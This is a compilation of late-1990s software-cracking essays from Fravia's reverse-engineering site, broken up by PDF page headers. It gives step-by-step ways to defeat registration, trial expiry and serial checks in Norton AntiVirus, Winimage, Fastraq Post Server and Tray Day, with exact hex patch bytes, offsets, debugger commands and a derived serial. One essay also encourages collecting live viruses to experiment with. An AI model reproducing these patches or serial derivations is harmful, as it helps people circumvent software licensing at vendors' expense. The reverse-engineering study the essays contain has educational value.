Symantec Utilities with a real, clean, and without any nags utilities. The patch is performed on all 4
*POP.EXE files which have the same code at the same adress! es. After the execution of the
poppers they may be deleted together with the SalesAgent DLL. You can even patch those poppers
in the softice memory and let it run afterwards unpacking the whole thing, the crack only needs to
be there on their first run. Tha! t was it, Norton AntiVirus Trial Edition is cracked.

Note at the end: There is a single DOS application included in the Symantec package, which is
used under the boot before Windows loads. Because it is a DOS application I didn't take a look at
it, as I prefer cracking win stuff, so if there are! somebody who can finish my work they are

http://www.instinct.org/fravia/snippets.htm (10 of 24) [2/7/2001 3:20:56 PM]


advanced

welcomed to make any additions to this essay.

Winimage Version 2.50


How to
make a MSGBOX work for
YOU

by RMD+

There are probably many


others like me who are
still learning how
to crack or aren't very
good assembly programmers
and yet want to
write Keygenerators or
http://www.instinct.org/fravia/snippets.htm (11 of 24) [2/7/2001 3:20:56 PM]
advanced

who are too lazy to rip


out the code
in order to write one.
In this essay I want to
show how to turn a target
program into a
Keygenerator by getting
the Msgbox that says that
your entered
number is incorrect (or
correct) to show you the
"secret" password
instead.

The idea for this came


from one of our masters
http://www.instinct.org/fravia/snippets.htm (12 of 24) [2/7/2001 3:20:56 PM]
advanced

tutorials,
where +he said about how
ECHOs of the proper
serial Number
are left lying about in
the data window.

Fire Up Winimage go to
the Registering bit and
enter your
name and a fake serial,
so in my case RMD+ and
12345.

CTRL+D to SOFTICE
and
http://www.instinct.org/fravia/snippets.htm (13 of 24) [2/7/2001 3:20:56 PM]
advanced

BPX GETDLGITEMTEXTA

go back to Winimage and


press enter

The program should now


have immediately broken
into
SICE in the middle of the
call, so press F11 to
return.

Disable ypur breakpoint


by BD 00

Now if you look above


http://www.instinct.org/fravia/snippets.htm (14 of 24) [2/7/2001 3:20:56 PM]
advanced

this @ 0040579E you see


the
following:

0040579E MOV ESI,004252D0


004957A3 PUSH ESI

if you d esi you see that


you name was copied into
ESI
and then ESI was added
onto the stack

now if you F10 past the


next GETDLGITEMTEXTA you
see
http://www.instinct.org/fravia/snippets.htm (15 of 24) [2/7/2001 3:20:56 PM]
advanced

your serial num get put


into EDI.

Keep on F10-ing till you


get to

00405827 call 0040F238


;Enter this call here

Our approach here is we


know that our ECHO is
near to the
Msgbox text that says
"Registering Information
are bad".
So what we've done is
http://www.instinct.org/fravia/snippets.htm (16 of 24) [2/7/2001 3:20:56 PM]
advanced

enter the call that loads


that
information into memory.

If you F10 down to

0040F242 LEA
EAX,[EBP+FFFFFF14] ;you
see the text

;string "Reg info bad"

now, you should of course


dump that memory:
d EBP+FFFFFF14
and if you look around
http://www.instinct.org/fravia/snippets.htm (17 of 24) [2/7/2001 3:20:56 PM]
advanced

that area you'll see the


correct
registration code at
0067F31C and you'll also
see another
copy at 0067F33C, but for
the purpose of this short
study
we'll use the one @
0067F31C ('cos the other
one gets
written over)

If you carry on single


stepping you'll get to

http://www.instinct.org/fravia/snippets.htm (18 of 24) [2/7/2001 3:20:56 PM]


advanced

0040F250 PUSH EAX


0040F251 PUSH DWORD PTR
[EBP+0C]
0040F254 CALL 00410D47
;here is where the string
for the Msgbox

caption is loaded which


overwrites the

second serial

if you single step to


40F277 and dump memory
there, you'll
see that the MSGBOX text
http://www.instinct.org/fravia/snippets.htm (19 of 24) [2/7/2001 3:20:56 PM]
advanced

is getting put into ECX


and then
ECX gets put onto the
stack.

THIS IS THE IMPORTANT BIT

If you look, you'll see


that our serial number is
@ 0067F31C
and that the EDX register
is zero. So assemble line
0040F277
to load the serial number
text instead of the Msg
text
http://www.instinct.org/fravia/snippets.htm (20 of 24) [2/7/2001 3:20:56 PM]
advanced

by doing the following:

a 0040F277 {PRESS ENTER}


LEA ECX,[EDX+0067F31C]
{PRESS ENTER}

now if you carry on


pressing F10 you'll see
the correct serial
number coming up for
whatever name you have
given as input.

So here is the patch for


this:

http://www.instinct.org/fravia/snippets.htm (21 of 24) [2/7/2001 3:20:56 PM]


advanced

in you HEX editor load


the EXE file and search
for 8D8D14FFFFFF then
replace this info with
8D8A1CF36700, save, and
then try it out.

Now every time you want a


serial number just enter
whatever name
you fancy and BINGO!

Note that this is not the


best clean patch of the
world, of course,
and that also it
http://www.instinct.org/fravia/snippets.htm (22 of 24) [2/7/2001 3:20:56 PM]
advanced

occasionaly gives garbage


for a particolar
password.
It's just pure fun AND a
different approach about
what you can do
when the correct Number
is ECHO'd in memory.

Anyway I hope somebody


finds it useful

RMD+

homepage links anonymity +ORC


students' essays academy database
http://www.instinct.org/fravia/snippets.htm (23 of 24) [2/7/2001 3:20:56 PM]
advanced

tools counter measures cocktails


antismut search_forms
mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/snippets.htm (24 of 24) [2/7/2001 3:20:56 PM]


banda_56.htm

Back to the Snippets


UNPACK/UNPROTECT COM FILES USING DEBUG.EXE
(old powerful dos debugging - still useful today)
("An acquarium for your viri")
BY
THE UNDERTAKER -=BANDA=-
more than slightly edited by fravia+, 16 January 1998
Courtesy of Fravia's page of reverse engineering

Most of today's com packers & protectors can be removed using DOS
debug. Many young crackers seem to have forgotten the mighty power
of this very small and powerful utility: "the swiss knife of all
crackers", as Master +ORC wrote.

debug.exe 20.522 bytes (MS dos ver. 7, usually inside C:\WINDOWS\COMMAND)


symdeb.exe 37.021 bytes (Ver. 4, Micro$oft)

This method is very useful, If you don't have tools around you. Also it
works with most of the popular packers & unpackers.
Actually DEBUG is a very powerful tool when it comes to the handling
of com files.
In those almost forgotten days, our bane micro$oft wanted to grab the
market by producing good programs, an approach they have long forgotten,
seen that it is now easier to grab the market bankrupting the adversaries.

Anyway, that way DEBUG came up.


Once they captured the market, they only cared about the money.
Finally ending up with stupid programs like micro$oft word, access, VB+
and all other junk, useless programs that we are lobotomized with.

Before we start this approach, let's check how com files are organized.

Com files are memory images that do not have any relocatable item.
They can only fit into one segment (SS,ES,DS = CS).

Com files has a size of 64k.


Maximum amount one offset can vary between 0000 - FFFF

Com files are slightly faster than the exe files, when it comes to
execution (bet you didn't know it).

Com files do not have a header nor a checksum, like exe files.

Com files should start at 100h, immediatly above the PSP.

At the time of loading the com file. ES,DS,SS,CS are pointed to PSP.

http://www.instinct.org/fravia/banda_56.htm (1 of 6) [2/7/2001 3:20:59 PM]


banda_56.htm

And SP is pointed as high as possible in memory, minus 2 bytes


(SP = FFFE). In fact MS-DOS pushes a zero word on the stack before
entry.

Well, the information above will help you to handle com files.
Ok, let us start the work. You'll see how you can UNPACK a
file packed using an unknown packer using old silly debug!!

First, using a packer, compress your com file


I use pklite to pack a target com file of mine (CO.COM)
Then load your packed com file using DEBUG.EXE

DEBUG CO.COM

Now type (r) to check the register contains.

-r
AX=0000 BX=0000 CX=0F6D DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=20AB ES=20AB SS=20AB CS=20AB IP=0100 NV UP EI PL NZ NA PO NC
20AB:0100 B80524 MOV AX,2405
-

Check the CX register.


This contains the program size. If you convert the value inside the CX
register to decimal you will get the actual file size, here it is
0xF6D = 3949 bytes

Once you uncompress the program you will have to "adjust" the value of
CX, of course.

To uncompress the file just use the command go (g) and exit from the program.
Then you simply land inside the debugger.

-g

After having exited the program you will see the following message:

Program terminated normally


-

Ok, Now you have got in memory the original(Uncompressed) file (of course: the
point of any compressor is to compress a file UNTIL IT MUST RUN, duh).
To Verify that you have an uncompressed program, you can chek the Unassembly
listing by typing (u).

-u100
20AB:0100 E9B903 JMP 04BC
20AB:0103 0A434F OR AL,[BP+DI+4F]
20AB:0106 2031 AND [BX+DI],DH
20AB:0108 2E CS:
20AB:0109 3020 XOR [BX+SI],AH
20AB:010B 286329 SUB [BP+DI+29],AH

http://www.instinct.org/fravia/banda_56.htm (2 of 6) [2/7/2001 3:20:59 PM]


banda_56.htm

20AB:010E 2031 AND [BX+DI],DH


20AB:0110 3938 CMP [BX+SI],DI
20AB:0112 37 AAA
20AB:0113 205A69 AND [BP+SI+69],BL
20AB:0116 66 DB 66
20AB:0117 66 DB 66
20AB:0118 20436F AND [BP+DI+6F],AL
20AB:011B 6D DB 6D
20AB:011C 6D DB 6D
20AB:011D 756E JNZ 018D
20AB:011F 69 DB 69
-

Now we have to give the new size to our program.


This is (a bit) the difficult part.
First we have to locate were the program ends.
To do that we have check the program's terminating
functions, and there are quite a lot of them.
Like ...

FUNCTION SEARCH STRING


-------- -------------

1. RET --> C3
2. INT 20H --> CD 20
3. MOV AH,4C
INT 21H --> 4C CD 21
4. MOV AX,4C00
INT 21H --> 4C CD 21
5. INT 27H --> CD 27 (For TSR's)
6. MOV AX,3100
INT 21H --> 31 CD 21 (For TSR's)

Now we have to search our program for the above strings.


You may of course write a short C program in order to do it,
or you may do it 'per hand'. I'll show you how:
Lets start searching our program using the most common
terminate function (AX=4C, INT 21).

-s cs:100 ffff 4c cd 21
20AB:0646
-

Aha.. found it at 0646.


Now convert 0646 into decimal (1606) and then check if the
value you have written down is smaller than this.

Oh...No! The previous value (0xF6D) is greater than this.


This happens because this program's exit function is in the
middle of the program, not at the end.

In this case we have 2 options.

http://www.instinct.org/fravia/banda_56.htm (3 of 6) [2/7/2001 3:20:59 PM]


banda_56.htm

1) Feel the code

1. Search the program starting from 100h to the end of the code & data.
Some times after the code starts all the data.
This is easy to detect: dump the program (d) starting from 100h and
just have a look at the code.
Once the program code & data are over, you can identify the rest
of the area easyly.
In fact, once the program is over, you will see some path settings &
Ascii strings. Now write down the offset address were
the program ends.
(To use this methods you need a good expriance of X86 assembly
OPCODES. By the way, getting this experience you will learn how to
detect patterns)

Lets say that we think that the program ends at offset 1105.
Now he have to take off the starting 100h, because all com programs start
from 100h. To do that we can use a Debug command of course...

-h 1105 100
1205 1005
-

Yes: answer is 0x1005. Now we have to set this value in CX register.


We also have to give a new name to our 'new' uncompressed
program...

-rcx
CX 0F6D
:1005 -- Our calculated program length.
-n test.com -- New name for uncompressed file. (TEST.COM)
-w -- Write test com into the disk.

Now you got an uncompressed file called TEST.COM.

Ok, feeling the end of the code was not really difficult...
Lets pass over to option 2.

2. If you can't find the program end use a simple trick.


Multiply the compressed file size by 2. This will double the
compressed file size. Now put the new file size into the CX
register and give a name to the uncompressed file and save
it.

NOTE :- Multification factor depend on the packer.


Some packers are able to pack files more efficiently
than others.

Ok... Now using debug -as you can see- you can get the unpacked file.
In fact debug is the most effective generic unpacker for com files.
This is fairly known, and therefore many packed files may contain various

http://www.instinct.org/fravia/banda_56.htm (4 of 6) [2/7/2001 3:20:59 PM]


banda_56.htm

INT 3 instructions(0xCC) inside their packed code.


These int 3 have been put there ON PURPOSE, in order to "gasp" debug.
These instructions will in fact cause the debugger to breakpoint.

Do not worry: you could not care less!


Once you gasp with debug onto an INT 3 instruction just do the following
steps...

Check the value in IP register and increment IP register by 1. Then


countinue the program (g) that's all.

-rip --- asking for ip


IP 016D --- say this is the answer
:016E --- then you just type 16E
-g --- let's go on!

If you find more than one INT 3 in the packed code just repeat the above
steps. If there are too many INT 3, just use your hexeditor's replace
function and nop every single one of them.

This is just the start of course...


Keep on experimenting with com files.
You will find lot of things inside com files.
Also we can use this method to remove com viruses from our files
per hand (who said you should trust Norton?).

"AN ACQUARIUM FOR YOUR VIRI"


C'mon, make yourself a very nice present!
Buy for next to nothing an old 'almost thrown away' 80286
computer in some shoddy second hand shop and use it to create
your own VIRUS ACQUARIUM. You'll use it in order to experiment
all sort of assembly viri/antiviri tricks, without any risk
of having them biting your 'real' programs... and you'll
moreover be able to use its screen for a real 'winice' session
on your main computer if needs be... if you never used the
ALTSCR ON command when you work with winice (using a second
monitor for output) you don't know what you are loosing!

Anyway, once you have bought for the price of two pizzas
your 80286, go fishing on the web and fish some interesting
viri (with assembly source code) out of the net.

Now handle evrything with care and pour them into your
acquarium, infecting all the fake files you have installed
there.
Now try first to see if you can identify and remove them
from your infected (fake) files using only debug WITHOUT
and your 'feeling', without looking at their source code!
(You wont, at least not at the beginning :-)
Now study their source code, watch them 'alive', eating

http://www.instinct.org/fravia/banda_56.htm (5 of 6) [2/7/2001 3:20:59 PM]


banda_56.htm

your files, kill them with YOUR OWN probes (and not with
Norton's cram)
You'll learn an incredible amount of assembly doing this!
It's fun, great fun! (Yet keep a copy of F-prot handy :-)

Learn assembly! Use assembly! Donate something to the world to


destroy this gasthly micro$oft's dictature... HuH Huh...

Readers can write me...


undertakerd(at)hotmail(point)com

A final thank goes to all the +HCU's guys and to master +ORC.
Keep up the good work Guys!!.
Also Special thank goes to Fravia+ and +gthorne for their great
contribution to our small reversing world.

The Undertaker -=BANDA=- //SRI LANKA//

Back to the snippets

http://www.instinct.org/fravia/banda_56.htm (6 of 6) [2/7/2001 3:20:59 PM]


cybercu1.htm Fastraq Post Server; a "best before" protection scheme

Back to the Snippets

Fastraq Post Server; a "best before" protection


scheme
by Cybercurve

Here's a small essay written by a newbie and for newbies.

Protection type : 'best before'


There are some things (e.g. crossreferences) that make it look
like it's protected against cracking, but if that is so, it's a very
stupid way to protect a program: This program is cracked by only changing
4 bytes.

I cracked this and I've written an essay on how i did it. I'm a newbie,
so I can't be sure it works, but i've tried to start it up with the computer
clock set to many different dates, and used it a few times after i cracked it
and it does seem to work. (of course with a invalid reg-code)

----- here starts the essay (a big word for this small piece of text) -------

Cracking FastRaq Postserver.

Target:
Fastraq Post Server (version 0.7.5.20, post.exe = 2.336.768 bytes)
Download from: http://www.fastraq.demon.co.uk/post
Tools used:
Wdasm 8.9 (free demo version will do)
Download from: http://www.expage.com/page/w32dasm
Ultraedit (free demo version will do, any decent hexeditor will do)
Download from: http://www.download.com.

NOTE: all numbers are hexadecimal

I'm in quit a busy period now, so cracking this program took


a few weeks, but I only worked a few hours on it, and believe
you can do it faster, but i started to try to crack this using
softice, which took a lot of time but got me nowhere (that's
propably my fault, certainly not softice's).

This is a very nice program to learn cracking on because they


give away free temporary-registration codes that expire in one
month. So there's no real need to crack this program, but that's

http://www.instinct.org/fravia/cybercu1.htm (1 of 3) [2/7/2001 3:21:01 PM]


not the point. The point is that they tried to do some protection
(at least that's what i think it is), but as you will see, any newbie
cracker (like me) should be able to crack this without any problem,
and within two hours.

Let's start the work:

I tried to set breakpoints using Softice, but that got me nowhere.


If you installed the program and entered a temporay-registration code,
exit fastraq, start regedit.exe, search for the reg-code. You
should land in : HKEY_LOCAL_MACHINE\SOFTWARE\Fastraq\Post Server\0.93
Change the serial so it is invalid.
copy post.exe to post.wdm.
open post.wdm in wDasm.

Start Fastraq, it shows a messagebox "Register the Post Server"


containing "Please enter your registration number."
Goto Wdasm click on 'Refs'/'String data references' and scroll to
"Please enter your registration" Double click. Double click again.
There's only one location in the program where it appears (535EE1
which is offset 1352E1 in post.exe). Question is, how does the program
get there? answer, look a few lines above, it comes there by a
CONDITIONAL(could it be easier ?)-jump from 535FBF. go to there.
it says :
:00535FBF 0F8709FFFFFF ja 00535ECE
and it is offset 1353BF in post.wdm
Open post.exe in a hexeditor. goto 1353BF and change 0F87 into EB04.
(+Orc says that you shouldn't NOP some code out, and I advice you
to use this simple 'jump ahead' solution to avoid nop's) and save.

Start Post.exe. It says "The evaluation period for this.."


goto wDasm, do a string-reference search on that. you should
find the following two locations : 535427 and 53545C. on both locations
look a few lines above you should see something like:
fcomp qword ptr [0057CDB0] <-- do some difficult things
fstsw ax
sahf
jbe 0053543B <-- conditional-jump away

So, that's how we escape the message. Open post.exe in hexeditor,


goto offset 13481A change 761F (jbe) into EB1F (always jump).
goto offset 13484F change 7615 (jbe) into EB15 (always jump).

Start Post.exe again. click on help/about. it something like:


Product expiry : -84 days.
How nice, cogito ergo sum fatigatus. (as Descartes said)

That seems to be it. In many essays the Authors give the impression
to be perfect, and never mentions the mistakes that they have almost
surely made, well i did make some:

-I first concentrated on getting the help/about to always show a normal

http://www.instinct.org/fravia/cybercu1.htm (2 of 3) [2/7/2001 3:21:01 PM]


number so that it would never expire, i landed in the code "which.class"
tppabs="http://fravia.org/which.class"
calculates the number of days left, and found that there's some
protection that does a lot of call-ing / ret-ing at the end of the
function to make it difficult to change the result of the function,
which is stored in (surprise) AX. It could be bypassed i think, but
haven't tried this since it is not necessary.
I removed some messages like ('registration number is invalid) but didn't
get any further.
I didn't have a wodka-martini, and i had to do some other work so when i
started to look at the program again i thought 'well, why should i care
about the about-box? I only need to get the program start up. Then i did
the work described above in less than half an hour, which is a reasonable
time for a newbie.

Well, otium esse melior est non facere, so that's it for now.

Cybercurve cybercurve(at)cryogen(point)com

Back to the Snippets

http://www.instinct.org/fravia/cybercu1.htm (3 of 3) [2/7/2001 3:21:01 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"

Reversing Tray Day 4.5


BEGINNERS: the kill of a weak and badly written scheme Back to the Snippets

30 January 1998 by MaD '96 [CPT]


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
Advanced crackers begone: this is an easy, beginners oriented
essay, yet, for beginners, particularly intersting IMHO, because
it shows you how to 'follow' a protection scheme 'around the
codecorners'. Besides we have presented (and will present) so
many 'higher cracking' essays that it is appropriate to offer
some interesting essays also to those that don't master yet the
more difficult tyechniques of our art. Beginners will learn here
how a simple mathematical verification routine works, and will
be able to see 'in slow motion' the creation of a registration
nummer. Enjoy!
There is a crack, a crack in everything That's how the light
gets in
Rating (x)Beginner ( )Intermediate ( )Advanced ( )Expert YES Beginners

What can I say more, it's basic and straight forward .... No extra's or heavy coding

Reversing Trayday 4.5


BEGINNERS: the kill of a weak and badly written scheme
Written by MaD '96 [CPT]

Introduction
This is a useful hack of the beginner .... Reading through the essay we find a poorly
protection
scheme which also has a mistake (you can find this when you reverse a newer util
tray-text) but
more about this in the ending notes of this essay ... I'm not a talker, just a
reverser!

Tools required
The one and only SOFTICE 95 ver. 3.0 (or more)

Target's URL/FTP
http://www.mjmsoft.com/

Essay
Okay let's start....

http://www.instinct.org/fravia/mad_963a.htm (1 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"
Start the program and in nests in de systray...right click it and we have a menu
with a register option. Select it and key in your name and a random number. I used

MaD 96 (it's case sensitive)


12121212 (where have we seen this before ?)

Crack into soft ice (crtl-D) and search for the serial you returned.

S 30:0 lffffffff "12121212" (my example and +ORC)

It will come back with a address somewhere in 8XXXXXXX. For me it is

30:80D9892A

Set a break point on this address so we can scoop it (breakpoint it)....

BPM 80d9892A

Exit soft ice (F5) and hit the OK-button. We land right back into
soft ice, in the kernel at HMEMCPY....
okay now we need to reach the code-segment of tray day... I did it
by pressing the F12-key (p ret <enter>) until you reach the
code (9 times).
You will reach a part that look like this (disable the BPM):

Set a BPX at point of entry so we won't loose it...

:00401439 FF157C934000 Call dword ptr [0040937C] <<<< getdlgitemtexta


:0040143F 8945DC mov [ebp-24], eax <<<< entry point after
F12 (9x)
:00401442 837DE005 cmp [ebp-20], 00000005
:00401446 0F8222000000 jb 0040146E
:0040144C 837DDC08 cmp [ebp-24], 00000008 <<<< Here
:00401450 0F8518000000 jne 0040146E
:00401456 8B45E0 mov eax, [ebp-20]
:00401459 50 push eax
:0040145A 8D45E4 lea eax, [ebp-1C]
:0040145D 50 push eax
:0040145E E8F9FDFFFF call 0040125C <<<< Here1
:00401463 83C408 add esp, 00000008
:00401466 85C0 test eax, eax <<<< Here2
:00401468 0F8520000000 jne 0040148E

Okay in this piece of code a lot is happening. At the marker "entry"


we enter the source-code of trayday and here the length of the serial you keyed
in is stored at a location.
Now (at the marker 'Here') the length of the serial is checked.
Make sure that you used a serial number of 8 digits if not... BAD boy...
Go back to the program and enter a serial of 8 digits and hit the
ok-button you will be back at your BPX (entry)
Step through the code until, at the marker 'Here2', a check is
performed with EAX ... I had a feeling (reversing is not always just the
knowledge which we can learn from reading essays... It's experience,
it's feeling... (feeling the call of the code I guess...)
but certainly no luck!)
EAX is at that point '0' let's make it a '1' changing it in memory
and let's run the program anew after having disabled all breakpoints.

http://www.instinct.org/fravia/mad_963a.htm (2 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"
R EAX 1
BD *

And see what happens! Registration succesfull! But it'is only for now...
If you exit the program and start it again, you'll notice that you have
been... FOOLED!

Okay let's go in softice, enable the BPX only, go back to Win 95, start
trayday, enter a bogus serial and a bogus name and hit the okay-button...
tatatataaa! Back at the entry point...
Now trace into the call at marker 'Here 1' and see what we have there

:0040125C 55 push ebp


:0040125D 8BEC mov ebp, esp
:0040125F 83EC0C sub esp, 0000000C
:00401262 53 push ebx
:00401263 56 push esi
:00401264 57 push edi
:00401265 C745F400000000 mov [ebp-0C], 00000000
:0040126C 8B4508 mov eax, [ebp+08] <<<< Here 3
:0040126F 33C9 xor ecx, ecx
:00401271 8A4807 mov cl , [eax+07] <<<< Here 4
:00401274 83F938 cmp ecx, 00000038
:00401277 0F8407000000 je 00401284
:0040127D 33C0 xor eax, eax
:0040127F E93F010000 jmp 004013C3

At marker 'Here 3' EAX will be loaded with the location of the serial
you entered.
Okay just step gently through the code... At marker 'here 4' the last
number of your entered serial is loaded in CL (remember serial could only
be 8 digits long).
Right after that, it is compared with '38' which is 8 in ascII.
So now we know that all serial numbers must have a 'hard-wired'
8 at their end in order to pass this "new" check.

Our number should therefore be xxxxxxx8. Just do a quick

R ECX 38

to fool the protection -for now- and let's go futher inside our
target's code.

:00401284 C745FC00000000 mov [ebp-04], 00000000


:0040128B E903000000 jmp 00401293
:00401290 FF45FC inc [ebp-04]
:00401293 837DFC04 cmp [ebp-04], 00000004
:00401297 0F8F13000000 jg 004012B0
:0040129D 8B45FC mov eax, [ebp-04]
:004012A0 33C9 xor ecx, ecx
:004012A2 8A8858704000 mov cl , [eax+00407058]
:004012A8 014DF4 add [ebp-0C], ecx
:004012AB E9E0FFFFFF jmp 00401290
|
:004012B0 8B450C mov eax, [ebp+0C] <<<< Here 5

Set a temporary breakpoint on 004012B0 with F7 (here <enter>.


The jump if greater at 401297 will jump to that anyway.

http://www.instinct.org/fravia/mad_963a.htm (3 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"
This snippet of code calulates the total sum of the ascii
of your name. I did not included all the summing-code.
Just the parte where the last ASCII value is added:

:004012B3 33C9 xor ecx, ecx


:004012B5 8A8857704000 mov cl , [eax+00407057]
:004012BB 014DF4 add [ebp-0C], ecx <<< last ascii-value is added
(name)
:004012BE B953000000 mov ecx, 00000053
:004012C3 8B45F4 mov eax, [ebp-0C]
:004012C6 99 cdq
:004012C7 F7F9 idiv ecx
:004012C9 8D420A lea eax, [edx+0A]
:004012CC 8945F8 mov [ebp-08], eax <<< store calc. value of the sum
:004012CF 8B4508 mov eax, [ebp+08]
:004012D2 33C9 xor ecx, ecx
:004012D4 8A08 mov cl , [eax] <<<here6

At the marker 'here 6' the first digit of your serial is fetched.

:004012D6 BB0A000000 mov ebx, 0000000A


:004012DB 8B45F8 mov eax, [ebp-08] <<< get the calc. value of the sum
:004012DE 99 cdq
:004012DF F7FB idiv ebx <<< big,heavy calculations
:004012E1 83C030 add eax, 00000030
:004012E4 3BC8 cmp ecx, eax <<< the big compare

'The big compare' , is the first 'KEYED IN' digit the same as the
calculated one. For us this was a 1 (31).... but the code wants 6 (36)
okay write this number down, he wants a six, he gets a six: our
code is now

6xxxxxx8

Then fool the protection again,

R ECX EAX

And we fall through the next relative jump

:004012E6 0F851E000000 jne 0040130A <<< Bad_boy JUMP


:004012EC 8B4508 mov eax, [ebp+08]
:004012EF 33C9 xor ecx, ecx
:004012F1 8A4801 mov cl , [eax+01] <<< get second digit of your serial
:004012F4 BB0A000000 mov ebx, 0000000A
:004012F9 8B45F8 mov eax, [ebp-08]
:004012FC 99 cdq
:004012FD F7FB idiv ebx
:004012FF 8D4230 lea eax, [edx+30]
:00401302 3BC8 cmp ecx, eax <<< another big compare

'Another big compare' is performed by the code, which compares


your digit and the calcutaled digit.
We had 2 (32), but he wants a 3 (33). So our serial will
now be

63xxxxx8

http://www.instinct.org/fravia/mad_963a.htm (4 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"
let's fool the code in the usual way before executing the CMP-opcode.

R ECX EAX

:00401304 0F8407000000 je 00401311 <<< good guy jumps...


:0040130A 33C0 xor eax, eax
:0040130C E9B2000000 jmp 004013C3 <<< bad guy goes ...

:00401311 B926000000 mov ecx, 00000026


:00401316 8B45F4 mov eax, [ebp-0C]
:00401319 99 cdq
:0040131A F7F9 idiv ecx
:0040131C 8D420A lea eax, [edx+0A]
:0040131F 8945F8 mov [ebp-08], eax
:00401322 8B4508 mov eax, [ebp+08]
:00401325 33C9 xor ecx, ecx
:00401327 8A4802 mov cl , [eax+02] <<<< get your third digit...
:0040132A BB0A000000 mov ebx, 0000000A
:0040132F 8B45F8 mov eax, [ebp-08]
:00401332 99 cdq
:00401333 F7FB idiv ebx
:00401335 83C030 add eax, 00000030
:00401338 3BC8 cmp ecx, eax <<< The compare-action

'Another big compare' is performed by the code between your


digit and the calcutaled digit
We had 1 (31) he wants a 1 (31). So our serial will now be

631xxxx8

And by change we gambled one of the entries right... !

:0040133A 0F851E000000 jne 0040135E <<< bad guy jumps!


:00401340 8B4508 mov eax, [ebp+08]
:00401343 33C9 xor ecx, ecx
:00401345 8A4804 mov cl , [eax+04] <<< get FIFTH digit
:00401348 BB0A000000 mov ebx, 0000000A
:0040134D 8B45F8 mov eax, [ebp-08]
:00401350 99 cdq
:00401351 F7FB idiv ebx
:00401353 8D4230 lea eax, [edx+30]
:00401356 3BC8 cmp ecx, eax <<< the compare

Look here !!! The FOURTH digit is not used !!! So doing the
same action as before... The code wants now a 5 (35), we gave him
a 1 (31)... so the code now is

631x5xx8

Fool the code as usual...

R ECX EAX

:00401358 0F8407000000 je 00401365 <<< good guy jumps ...


:0040135E 33C0 xor eax, eax
:00401360 E95E000000 jmp 004013C3

http://www.instinct.org/fravia/mad_963a.htm (5 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"

:00401365 B911000000 mov ecx, 00000011


:0040136A 8B45F4 mov eax, [ebp-0C]
:0040136D 99 cdq
:0040136E F7F9 idiv ecx
:00401370 8D420A lea eax, [edx+0A]
:00401373 8945F8 mov [ebp-08], eax
:00401376 8B4508 mov eax, [ebp+08]
:00401379 33C9 xor ecx, ecx
:0040137B 8A4805 mov cl , [eax+05] <<< get your sixth digit
:0040137E BB0A000000 mov ebx, 0000000A
:00401383 8B45F8 mov eax, [ebp-08]
:00401386 99 cdq
:00401387 F7FB idiv ebx
:00401389 83C030 add eax, 00000030
:0040138C 3BC8 cmp ecx, eax <<< the compare .... (boring)

Do the same operations as before ...

R ECX EAX

The code is now ...

631x52x8

:0040138E 0F851E000000 jne 004013B2 <<< bad guy jumps...


:00401394 8B4508 mov eax, [ebp+08]
:00401397 33C9 xor ecx, ecx
:00401399 8A4806 mov cl , [eax+06] <<< get seventh digit (your
serial)
:0040139C BB0A000000 mov ebx, 0000000A
:004013A1 8B45F8 mov eax, [ebp-08]
:004013A4 99 cdq
:004013A5 F7FB idiv ebx
:004013A7 8D4230 lea eax, [edx+30]
:004013AA 3BC8 cmp ecx, eax <<< the compare...
:004013AC 0F8407000000 je 004013B9 <<< the good guy jumps...

You know the drill ...

R ECX EAX

The code is now ...

631x5218

:004013B2 33C0 xor eax, eax <<< Bad guy flag


:004013B4 E90A000000 jmp 004013C3

:004013B9 B801000000 mov eax, 00000001 <<< Flag of the reg. one!
:004013BE E900000000 jmp 004013C3

:004013C3 5F pop edi


:004013C4 5E pop esi
:004013C5 5B pop ebx
:004013C6 C9 leave

http://www.instinct.org/fravia/mad_963a.htm (6 of 7) [2/7/2001 3:21:05 PM]


Tray Day 4.5 "The kill of a weak and badly written scheme"
:004013C7 C3 ret

Okay now we know the code for 'MaD 96' is '631x5218.. But what
about the fourth digit.. let's try just a number ... I picked 4 , just key in
the complete serial (disable all Breakpoints first) and see ... we are a
winner ... just pick any number you like for the fourth digit....

It's now easy to make a key-generator. OK, this is not such a


cool-tool but for me it was what I at the moment wanted...

Okay Have a lot of fun, and I hope you find what I have
written useful as study material.

Have a nice day ...... MaD'96

Final Notes
This essay was written on 9 January 1998, for my own site, and most
important, as a reference for later works... After using this util for a
while I cracked Traytext (It's from the same guy) because trayday already
saved me a lot of typing work and with traytext you can even paste complete
texts form the systray to your applications...
Well I reversed this target, and of course the proctection is quite
similar (subtract the values in stead of adding ) I found out that the
fourth digit was ment to be a '-'... XXX-XXXX
And that that he did not check it, was probably just a mistake of the
programmer...
Happy hunting... MaD '96 [CPT]

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it on
most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the Snippets


homepage links anonymity +ORC students' essays academy database
tools Javascript wars cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/mad_963a.htm (7 of 7) [2/7/2001 3:21:05 PM]


Man I really wish people would use the formamus.htm model when submitting an essay... IT WOULD SPARE ME WORK!
Please, if you intend to contribute, read the rules and advices before submitting your work!

MORE DOS4GW STUFF: CD ROM / 3DFX Cracking


28 February 1998, by The_Gimp!
Courtesy of Fravia's page of reverse engineering

Subject: Tutorial: Project 4 - CD ROM / 3DFX Cracking

MDK 3DFX EXECUTABLE PATCHED TO REMOVE THE CD CHECK - MORE DOS4GW STUFF

URL HTTP://WWW.3DFX.COM/FILES/PATCHES/MDK3DFX.ZIP also at WWW.SHINY.COM

More & more, 3DFX & its variants are fast becoming the 'de-facto' for any
serious gamers. When you experience the sheer quality & frame rate improvements
first-hand it's almost a let down to play a non-accelerated game again.

This is all well & good but by its very nature, the disk-intensiveness of many
